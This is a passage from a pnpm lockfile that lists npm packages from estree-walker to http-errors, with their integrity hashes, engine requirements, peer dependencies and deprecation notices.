sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==}\n\n  estree-walker@3.0.3:\n    resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==}\n\n  etag@1.8.1:\n    resolution: {integrity: sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==}\n    engines: {node: '>= 0.6'}\n\n  event-stream@4.0.1:\n    resolution: {integrity: sha512-qACXdu/9VHPBzcyhdOWR5/IahhGMf0roTeZJfzz077GwylcDd90yOHLouhmv7GJ5XzPi6ekaQWd8AvPP2nOvpA==}\n\n  eventemitter3@4.0.7:\n    resolution: {integrity: sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==}\n\n  eventemitter3@5.0.1:\n    resolution: {integrity: sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==}\n\n  eventsource-parser@3.0.6:\n    resolution: {integrity: sha512-Vo1ab+QXPzZ4tCa8SwIHJFaSzy4R6SHf7BY79rFBDf0idraZWAkYrDjDj8uWaSm3S2TK+hJ7/t1CEmZ7jXw+pg==}\n    engines: {node: '>=18.0.0'}\n\n  eventsource@3.0.7:\n    resolution: {integrity: sha512-CRT1WTyuQoD771GW56XEZFQ/ZoSfWid1alKGDYMmkt2yl8UXrVR4pspqWNEcqKvVIzg6PAltWjxcSSPrboA4iA==}\n    engines: {node: '>=18.0.0'}\n\n  execa@5.1.1:\n    resolution: {integrity: sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==}\n    engines: {node: '>=10'}\n\n  execa@9.6.0:\n    resolution: {integrity: sha512-jpWzZ1ZhwUmeWRhS7Qv3mhpOhLfwI+uAX4e5fOcXqwMR7EcJ0pj2kV1CVzHVMX/LphnKWD3LObjZCoJ71lKpHw==}\n    engines: {node: ^18.19.0 || >=20.5.0}\n\n  expect-type@1.3.0:\n    resolution: {integrity: sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==}\n    engines: {node: '>=12.0.0'}\n\n  exponential-backoff@3.1.3:\n    resolution: {integrity: sha512-ZgEeZXj30q+I0EN+CbSSpIyPaJ5HVQD18Z1m+u1FXbAeT94mr1zw50q4q6jiiC447Nl/YTcIYSAftiGqetwXCA==}\n\n  express-rate-limit@8.2.1:\n    resolution: {integrity: sha512-PCZEIEIxqwhzw4KF0n7QF4QqruVTcF73O5kFKUnGOyjbCCgizBBiFaYpd/fnBLUMPw/BWw9OsiN7GgrNYr7j6g==}\n    engines: {node: '>= 16'}\n    peerDependencies:\n      express: '>= 4.11'\n\n  express@4.21.2:\n    resolution: {integrity: sha512-28HqgMZAmih1Czt9ny7qr6ek2qddF4FclbMzwhCREB6OFfH+rXAnuNCwo1/wFvrtbgsQDb4kSbX9de9lFbrXnA==}\n    engines: {node: '>= 0.10.0'}\n\n  express@5.2.1:\n    resolution: {integrity: sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==}\n    engines: {node: '>= 18'}\n\n  exsolve@1.0.7:\n    resolution: {integrity: sha512-VO5fQUzZtI6C+vx4w/4BWJpg3s/5l+6pRQEHzFRM8WFi4XffSP1Z+4qi7GbjWbvRQEbdIco5mIMq+zX4rPuLrw==}\n\n  extend-shallow@2.0.1:\n    resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==}\n    engines: {node: '>=0.10.0'}\n\n  extend2@4.0.0:\n    resolution: {integrity: sha512-d/h9M79qdaVeAzjJ5Rn2dCt0bENlD34tCRyWhynrngEh+LB+QLPpxB2tAqx/YkLr14dVF0J8xKGGPymvWiuXSg==}\n    engines: {node: '>=18.7.0'}\n\n  extend@3.0.2:\n    resolution: {integrity: sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==}\n\n  extended-eventsource@1.7.0:\n    resolution: {integrity: sha512-s8rtvZuYcKBpzytHb5g95cHbZ1J99WeMnV18oKc5wKoxkHzlzpPc/bNAm7Da2Db0BDw0CAu1z3LpH+7UsyzIpw==}\n\n  fast-deep-equal@3.1.3:\n    resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==}\n\n  fast-glob@3.3.3:\n    resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==}\n    engines: {node: '>=8.6.0'}\n\n  fast-safe-stringify@2.1.1:\n    resolution: {integrity: sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==}\n\n  fast-uri@3.1.0:\n    resolution: {integrity: sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==}\n\n  fastq@1.19.1:\n    resolution: {integrity: sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==}\n\n  fault@2.0.1:\n    resolution: {integrity: sha512-WtySTkS4OKev5JtpHXnib4Gxiurzh5NCGvWrFaZ34m6JehfTUhKZvn9njTfw48t6JumVQOmrKqpmGcdwxnhqBQ==}\n\n  fdir@6.5.0:\n    resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==}\n    engines: {node: '>=12.0.0'}\n    peerDependencies:\n      picomatch: ^3 || ^4\n    peerDependenciesMeta:\n      picomatch:\n        optional: true\n\n  fengari-interop@0.1.4:\n    resolution: {integrity: sha512-4/CW/3PJUo3ebD4ACgE1g/3NGEYSq7OQAyETyypsAl/WeySDBbxExikkayNkZzbpgyC9GyJp8v1DU2VOXxNq7Q==}\n    peerDependencies:\n      fengari: ^0.1.0\n\n  fengari@0.1.5:\n    resolution: {integrity: sha512-0DS4Nn4rV8qyFlQCpKK8brT61EUtswynrpfFTcgLErcilBIBskSMQ86fO2WVuybr14ywyKdRjv91FiRZwnEuvQ==}\n\n  fflate@0.8.2:\n    resolution: {integrity: sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==}\n\n  figures@6.1.0:\n    resolution: {integrity: sha512-d+l3qxjSesT4V7v2fh+QnmFnUWv9lSpjarhShNTgBOfA0ttejbQUAlHLitbjkoRiDulW0OPoQPYIGhIC8ohejg==}\n    engines: {node: '>=18'}\n\n  filelist@1.0.4:\n    resolution: {integrity: sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==}\n\n  fill-range@7.1.1:\n    resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==}\n    engines: {node: '>=8'}\n\n  finalhandler@1.3.1:\n    resolution: {integrity: sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==}\n    engines: {node: '>= 0.8'}\n\n  finalhandler@2.1.1:\n    resolution: {integrity: sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==}\n    engines: {node: '>= 18.0.0'}\n\n  find-up@3.0.0:\n    resolution: {integrity: sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==}\n    engines: {node: '>=6'}\n\n  find-up@5.0.0:\n    resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==}\n    engines: {node: '>=10'}\n\n  flat@5.0.2:\n    resolution: {integrity: sha512-b6suED+5/3rTpUBdG1gupIl8MPFCAMA0QXwmljLhvCUKcUvdE4gWky9zpuGCcXHOsz4J9wPGNWq6OKpmIzz3hQ==}\n    hasBin: true\n\n  flatted@3.3.3:\n    resolution: {integrity: sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==}\n\n  focus-trap@7.6.6:\n    resolution: {integrity: sha512-v/Z8bvMCajtx4mEXmOo7QEsIzlIOqRXTIwgUfsFOF9gEsespdbD0AkPIka1bSXZ8Y8oZ+2IVDQZePkTfEHZl7Q==}\n\n  follow-redirects@1.15.11:\n    resolution: {integrity: sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==}\n    engines: {node: '>=4.0'}\n    peerDependencies:\n      debug: '*'\n    peerDependenciesMeta:\n      debug:\n        optional: true\n\n  for-each@0.3.5:\n    resolution: {integrity: sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==}\n    engines: {node: '>= 0.4'}\n\n  foreground-child@3.3.1:\n    resolution: {integrity: sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==}\n    engines: {node: '>=14'}\n\n  form-data-encoder@1.9.0:\n    resolution: {integrity: sha512-rahaRMkN8P8d/tgK/BLPX+WBVM27NbvdXBxqQujBtkDAIFspaRqN7Od7lfdGQA6KAD+f82fYCLBq1ipvcu8qLw==}\n\n  form-data@4.0.5:\n    resolution: {integrity: sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==}\n    engines: {node: '>= 6'}\n\n  format@0.2.2:\n    resolution: {integrity: sha512-wzsgA6WOq+09wrU1tsJ09udeR/YZRaeArL9e1wPbFg3GG2yDnC2ldKpxs4xunpFF9DgqCqOIra3bc1HWrJ37Ww==}\n    engines: {node: '>=0.4.x'}\n\n  formdata-node@4.4.1:\n    resolution: {integrity: sha512-0iirZp3uVDjVGt9p49aTaqjk84TrglENEDuqfdlZQ1roC9CWlPk6Avf8EEnZNcAqPonwkG35x4n3ww/1THYAeQ==}\n    engines: {node: '>= 12.20'}\n\n  formidable@3.5.4:\n    resolution: {integrity: sha512-YikH+7CUTOtP44ZTnUhR7Ic2UASBPOqmaRkRKxRbywPTe5VxF7RRCck4af9wutiZ/QKM5nME9Bie2fFaPz5Gug==}\n    engines: {node: '>=14.0.0'}\n\n  formstream@1.5.2:\n    resolution: {integrity: sha512-NASf0lgxC1AyKNXQIrXTEYkiX99LhCEXTkiGObXAkpBui86a4u8FjH1o2bGb3PpqI3kafC+yw4zWeK6l6VHTgg==}\n\n  forwarded@0.2.0:\n    resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==}\n    engines: {node: '>= 0.6'}\n\n  fresh@0.5.2:\n    resolution: {integrity: sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==}\n    engines: {node: '>= 0.6'}\n\n  fresh@2.0.0:\n    resolution: {integrity: sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==}\n    engines: {node: '>= 0.8'}\n\n  from@0.1.7:\n    resolution: {integrity: sha512-twe20eF1OxVxp/ML/kq2p1uc6KvFK/+vs8WjEbeKmV2He22MKm7YF2ANIt+EOqhJ5L3K/SuuPhk0hWQDjOM23g==}\n\n  fs-extra@7.0.1:\n    resolution: {integrity: sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==}\n    engines: {node: '>=6 <7 || >=8'}\n\n  fs-minipass@2.1.0:\n    resolution: {integrity: sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==}\n    engines: {node: '>= 8'}\n\n  fs-minipass@3.0.3:\n    resolution: {integrity: sha512-XUBA9XClHbnJWSfBzjkm6RvPsyg3sryZt06BEQoXcF7EK/xpGaQYJgQKDJSUH5SGZ76Y7pFx1QBnXz09rU5Fbw==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  fs-readdir-recursive@1.1.0:\n    resolution: {integrity: sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==}\n\n  fs.realpath@1.0.0:\n    resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==}\n\n  fsevents@2.3.3:\n    resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==}\n    engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}\n    os: [darwin]\n\n  function-bind@1.1.2:\n    resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==}\n\n  functions-have-names@1.2.3:\n    resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==}\n\n  gals@1.0.2:\n    resolution: {integrity: sha512-h5c1Q6Q2cnRkO2v8ZxbuFCNRpM96CjGxGuoNcThoNF3dAEEYagF166EqJmaa9r2/I+ryij8TO3yMmqrMvQ1YXw==}\n    engines: {node: '>= 16.0.0'}\n\n  gauge@4.0.4:\n    resolution: {integrity: sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==}\n    engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}\n    deprecated: This package is no longer supported.\n\n  gauge@5.0.2:\n    resolution: {integrity: sha512-pMaFftXPtiGIHCJHdcUUx9Rby/rFT/Kkt3fIIGCs+9PMDIljSyRiqraTlxNtBReJRDfUefpa263RQ3vnp5G/LQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n    deprecated: This package is no longer supported.\n\n  generate-function@2.3.1:\n    resolution: {integrity: sha512-eeB5GfMNeevm/GRYq20ShmsaGcmI81kIX2K9XQx5miC8KdHaC6Jm0qQ8ZNeGOi7wYB8OsdxKs+Y2oVuTFuVwKQ==}\n\n  get-caller-file@2.0.5:\n    resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==}\n    engines: {node: 6.* || 8.* || >= 10.*}\n\n  get-east-asian-width@1.4.0:\n    resolution: {integrity: sha512-QZjmEOC+IT1uk6Rx0sX22V6uHWVwbdbxf1faPqJ1QhLdGgsRGCZoyaQBm/piRdJy/D2um6hM1UP7ZEeQ4EkP+Q==}\n    engines: {node: '>=18'}\n\n  get-intrinsic@1.3.0:\n    resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==}\n    engines: {node: '>= 0.4'}\n\n  get-package-type@0.1.0:\n    resolution: {integrity: sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==}\n    engines: {node: '>=8.0.0'}\n\n  get-proto@1.0.1:\n    resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==}\n    engines: {node: '>= 0.4'}\n\n  get-ready@3.4.0:\n    resolution: {integrity: sha512-D7N1WED4f5rQUveyl19GxfJupMeR+y106EVK6na/zI+w34FcTAShvetX0X2k61x+lJXCEiOnGHk0xro6YRyrjQ==}\n    engines: {node: '>= 16.13.0'}\n\n  get-stream@6.0.1:\n    resolution: {integrity: sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==}\n    engines: {node: '>=10'}\n\n  get-stream@9.0.1:\n    resolution: {integrity: sha512-kVCxPF3vQM/N0B1PmoqVUqgHP+EeVjmZSQn+1oCRPxd2P21P2F19lIgbR3HBosbB1PUhOAoctJnfEn2GbN2eZA==}\n    engines: {node: '>=18'}\n\n  get-tsconfig@4.13.0:\n    resolution: {integrity: sha512-1VKTZJCwBrvbd+Wn3AOgQP/2Av+TfTCOlE4AcRJE72W1ksZXbAx8PPBR9RzgTeSPzlPMHrbANMH3LbltH73wxQ==}\n\n  glob-parent@5.1.2:\n    resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==}\n    engines: {node: '>= 6'}\n\n  glob@10.5.0:\n    resolution: {integrity: sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==}\n    deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me\n    hasBin: true\n\n  glob@11.0.3:\n    resolution: {integrity: sha512-2Nim7dha1KVkaiF4q6Dj+ngPPMdfvLJEOpZk/jKiUAkqKebpGAWQXAq9z1xu9HKu5lWfqw/FASuccEjyznjPaA==}\n    engines: {node: 20 || >=22}\n    deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me\n    hasBin: true\n\n  glob@13.0.0:\n    resolution: {integrity: sha512-tvZgpqk6fz4BaNZ66ZsRaZnbHvP/jG3uKJvAZOwEVUL4RTA5nJeeLYfyN9/VA8NX/V3IBG+hkeuGpKjvELkVhA==}\n    engines: {node: 20 || >=22}\n\n  glob@7.2.3:\n    resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==}\n    deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me\n\n  glob@8.1.0:\n    resolution: {integrity: sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==}\n    engines: {node: '>=12'}\n    deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me\n\n  globby@11.1.0:\n    resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==}\n    engines: {node: '>=10'}\n\n  globby@14.1.0:\n    resolution: {integrity: sha512-0Ia46fDOaT7k4og1PDW4YbodWWr3scS2vAr2lTbsplOt2WkKp0vQbkI9wKis/T5LV/dqPjO3bpS/z6GTJB82LA==}\n    engines: {node: '>=18'}\n\n  gopd@1.2.0:\n    resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==}\n    engines: {node: '>= 0.4'}\n\n  graceful-fs@4.2.11:\n    resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==}\n\n  graceful-process@2.2.0:\n    resolution: {integrity: sha512-cDGvGtHfJ1SQSX8eLMgUGe86u96LxEm6jujcEjYUjWho+INwEOGOvfQPdum9jm4JxfU4lrWIpzLt8xEPgZrdcg==}\n    engines: {node: '>= 18.19.0'}\n\n  graceful@2.0.0:\n    resolution: {integrity: sha512-q1SvWB1loG0xeZ2ZQBQC2m64RKmXmGjeNosFYKJrkDsQQI9rAgmXKSuaEqqTa90rJRShDnEG/MJDgqnFXI7Phw==}\n    engines: {node: '>= 18.19.0'}\n\n  gray-matter@4.0.3:\n    resolution: {integrity: sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==}\n    engines: {node: '>=6.0'}\n\n  has-bigints@1.1.0:\n    resolution: {integrity: sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==}\n    engines: {node: '>= 0.4'}\n\n  has-flag@3.0.0:\n    resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==}\n    engines: {node: '>=4'}\n\n  has-flag@4.0.0:\n    resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==}\n    engines: {node: '>=8'}\n\n  has-flag@5.0.1:\n    resolution: {integrity: sha512-CsNUt5x9LUdx6hnk/E2SZLsDyvfqANZSUq4+D3D8RzDJ2M+HDTIkF60ibS1vHaK55vzgiZw1bEPFG9yH7l33wA==}\n    engines: {node: '>=12'}\n\n  has-property-descriptors@1.0.2:\n    resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==}\n\n  has-symbols@1.1.0:\n    resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==}\n    engines: {node: '>= 0.4'}\n\n  has-tostringtag@1.0.2:\n    resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==}\n    engines: {node: '>= 0.4'}\n\n  has-unicode@2.0.1:\n    resolution: {integrity: sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==}\n\n  hasown@2.0.2:\n    resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==}\n    engines: {node: '>= 0.4'}\n\n  hast-util-to-html@9.0.5:\n    resolution: {integrity: sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==}\n\n  hast-util-whitespace@3.0.0:\n    resolution: {integrity: sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==}\n\n  he@1.2.0:\n    resolution: {integrity: sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==}\n    hasBin: true\n\n  header-case@1.0.1:\n    resolution: {integrity: sha512-i0q9mkOeSuhXw6bGgiQCCBgY/jlZuV/7dZXyZ9c6LcBrqwvT8eT719E9uxE5LiZftdl+z81Ugbg/VvXV4OJOeQ==}\n\n  heredoc@1.3.1:\n    resolution: {integrity: sha512-VL/rh/EXkhgpIWSNNde3OPc067oQiorfY+Nhkwgo2jAAIgrLLb5N92wmOblTyMWwCcIKo+8aQzk5s5YxLbVJPQ==}\n\n  hono@4.11.10:\n    resolution: {integrity: sha512-kyWP5PAiMooEvGrA9jcD3IXF7ATu8+o7B3KCbPXid5se52NPqnOpM/r9qeW2heMnOekF4kqR1fXJqCYeCLKrZg==}\n    engines: {node: '>=16.9.0'}\n\n  hookable@5.5.3:\n    resolution: {integrity: sha512-Yc+BQe8SvoXH1643Qez1zqLRmbA5rCL+sSmk6TVos0LWVfNIB7PGncdlId77WzLGSIB5KaWgTaNTs2lNVEI6VQ==}\n\n  hookable@6.0.1:\n    resolution: {integrity: sha512-uKGyY8BuzN/a5gvzvA+3FVWo0+wUjgtfSdnmjtrOVwQCZPHpHDH2WRO3VZSOeluYrHoDCiXFffZXs8Dj1ULWtw==}\n\n  hosted-git-info@4.1.0:\n    resolution: {integrity: sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==}\n    engines: {node: '>=10'}\n\n  hosted-git-info@6.1.3:\n    resolution: {integrity: sha512-HVJyzUrLIL1c0QmviVh5E8VGyUS7xCFPS6yydaVd1UegW+ibV/CohqTH9MkOLDp5o+rb82DMo77PTuc9F/8GKw==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  htm@3.1.1:\n    resolution: {integrity: sha512-983Vyg8NwUE7JkZ6NmOqpCZ+sh1bKv2iYTlUkzlWmA5JD2acKoxd4KVxbMmxX/85mtfdnDmTFoNKcg5DGAvxNQ==}\n\n  html-escaper@2.0.2:\n    resolution: {integrity: sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==}\n\n  html-void-elements@3.0.0:\n    resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==}\n\n  htmlparser2@10.0.0:\n    resolution: {integrity: sha512-TwAZM+zE5Tq3lrEHvOlvwgj1XLWQCtaaibSN11Q+gGBAS7Y1uZSWwXXRe4iF6OXnaq1riyQAPFOBtYc77Mxq0g==}\n\n  http-cache-semantics@4.2.0:\n    resolution: {integrity: sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==}\n\n  http-errors@1.6.3:\n    resolution: {integrity: sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==}\n    engines: {node: '>= 0.6'}\n\n  http-errors@1.8.1:\n    resolution: {integrity: sha512-Kpk9Sm7NmI+RHhnj6OIWDI1d6fIoFAtFt9RLaTMRlg/8w49juAStsrBgp0Dp4OdxdVbRIeKhtCUvoi/RuAhO4g==}\n    engines: {node: '>= 0.6'}\n\n  http-errors@2.0.0:\n    resolution: {integrity: 